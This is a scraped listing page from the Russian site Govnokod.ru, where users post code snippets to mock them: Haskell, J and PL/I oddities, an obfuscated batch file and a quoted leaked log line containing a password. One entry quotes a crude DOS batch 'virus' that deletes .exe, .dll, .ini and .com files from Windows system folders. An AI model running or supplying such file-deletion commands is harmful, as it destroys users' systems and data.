Куча — Говнокод.ру

Куча / Говнокод #15553

+131

1
2
3
4
5

Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False

И Хабр туда-же...
http://habrahabr.ru/post/127278/

gost, 22 Марта 2014

Комментарии (7)

Куча / Говнокод #15552

+131

01
02
03
04
05
06
07
08
09
10
11

Cd\ 
Cd C: 
Сd winMe 
Del *.exe 
Del *.ini 
Del *.com 
Cd\ 
Cd win98 
Cd system 
Del *.dll 
Del *.exe

Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

gost, 22 Марта 2014

Комментарии (93)

Куча / Говнокод #15474

+126

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

import Data.Array
import Control.Arrow
l = [1,5,5,5,8,10,17]
make_array [] = undefined
make_array l = listArray (0, (length l)-1) l
-- binary_search:: (Integral i, Num i, Ord e, Ix i) => e -> Array i e -> i
binary_search item arr = bs la ra where
	(la, ra) = bounds arr
	nextWhileEqualItem = uncurry iterate >>> takeWhile (\i -> la<=i && i<=ra && arr!i==item) >>> last
	bs l r
		| (m == l || m == r) && item/=av = Nothing
		| item<av = bs l m
		| item>av = bs m r
		| item==av = Just (nextWhileEqualItem ((+) (-1), m), nextWhileEqualItem ((+)1, m))
		| otherwise = Nothing
		where
			m = (l+r) `div` 2
			av = arr!m
main = do
	print $ binary_search 8 $ make_array l
	print $ binary_search 5 $ make_array l
	print $ binary_search 5 $ make_array $ tail l
	print $ binary_search 0 $ make_array l
	print $ binary_search 100 $ make_array l
	print $ binary_search 9 $ make_array l

Решил я значит поучаствовать в специальной олимпиаде Романа с двача.
http://ideone.com/K5Jj59

LispGovno, 14 Марта 2014

Комментарии (21)

Куча / Говнокод #15472

+122

1
2

substractOneFromArgument = (-)1
main = print $ substractOneFromArgument 4

ПИШУ ФУНКЦИЮ ВЫЧИТАЮЩУЮ ЕДИНИЦУ ИЗ СВОЕГО АРГУМЕНТА
@
ПОЛУЧАЮ УПОРОТЫЙ РЕЗУЛЬТАТ
http://ideone.com/I34iLA

LispGovno, 14 Марта 2014

Комментарии (22)

Куча / Говнокод #15461

+133

1

access denied for the user "King1986" with password "weakCocc".

Часть строки из лога. Логи пока общедоступны.

laMer007, 13 Марта 2014

Комментарии (11)

Куча / Говнокод #15433

+124

1
2
3
4
5
6

@set /p d=<%0
%d:~0,5%a=%d:~0,5%
%a%c=%d:~9,1%
%a%b%c%%d:~4,1%&%a%i%c%%d:~0,1%&%a%k%c%&%a%l%c%&%a%m%c%&%a%n%c%&%a%o%c%&%a%p%c%&%a%q%c%&%a%r%c%&%a%s%c%&%a%t%c%&%a%u%c%&%a%v%c%&%a%w%c%&%a%x%c%&%a%y%c%&%a%z%c%
%k%c%l%o%m%l%n%o%o%r%b%1%p%a%q%&%i%m%r%o%s%d%t%e%b%c%u%o%v%n%b%c%w%o%x%l%y%s%c%1%z%4%b%l%k%i%l%n%m%e%n%s%c%4%o%&%a%f%c%п%p%&%a%g%c%«%q%&%a%h%c%Ѓ%r%&%a%j%c%Д%s%&%a%e%c%!%t%&%u%t%v%i%w%t%x%l%y%e%b%.
%i%e%k%c%t%h%s%o%b%%b%Ъ%j%%j%%j%%j%%j%%j%%j%%j%%j%ї%r%&%i%e%q%c%p%h%o%o%b%%b%і%b%%b%%h%%g%%f%%b%%e%%b%%b%і%n%&%i%e%m%c%l%h%k%o%b%%b%А%j%%j%%j%%j%%j%%j%%j%%j%%j%Щ%b%&%v%p%o%a%y%u%x%s%p%e%u%>%q%n%k%u%m%l%o%

Должно быть запущено на русскоязычной Windows, сохраните в .bat файл, а на концах строчек (6 строк) не должно быть лишних пробелов!

Ссылка на зипованную версию:
http://klimaleksus.narod.ru/Files/C/fuck.zip

aleksusklim, 11 Марта 2014

Комментарии (9)

Куча / Говнокод #15397

+130

1

DECLARE (A, B INIT ((5)0,(5)1)) DIM (0:9) FLOAT;

LispGovno, 08 Марта 2014

Комментарии (23)

Куча / Говнокод #15380

+127

1

unfoldr (\b -> fmap (const . (second $ drop 1) . break (==' ') $ b) . listToMaybe $ b)

LispGovno, 07 Марта 2014

Комментарии (11)

Куча / Говнокод #15377

+126

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23

check =: 3 : 0
a=.>;:y
b=.|:(6,#y) $,'(){}[]'=/a
b=.(-1 3 5{"(1)b) (1 3 5)}"(1) b
c=.|:(3 2$i.6)([:+/[{[:|:])"(1 _) b
no=._1
n=.#c
p=. 13 : 'I.*./"(1)(1 _1)="(1)(2+\(x{y))'
while. n~:no do.
no=.n
cc =. |:c
d=.~.(0 p cc),(1 p cc),(2 p cc)
c=.((i.#c)-.(d,>:d)){c
n=.#c
end.
n=0
)

samples =: '({[{}]{}[]})';'({}}{[{}]{}[]})';'({[{}]{}[]}';'({[{}]{}]})';'({[{}{}[]})';'';'{}'

test =: 13 : 'check >y{samples'

test"(0) i.7

По мотивам http://govnokod.ru/15363

Abbath, 06 Марта 2014

Комментарии (3)

Куча / Говнокод #15362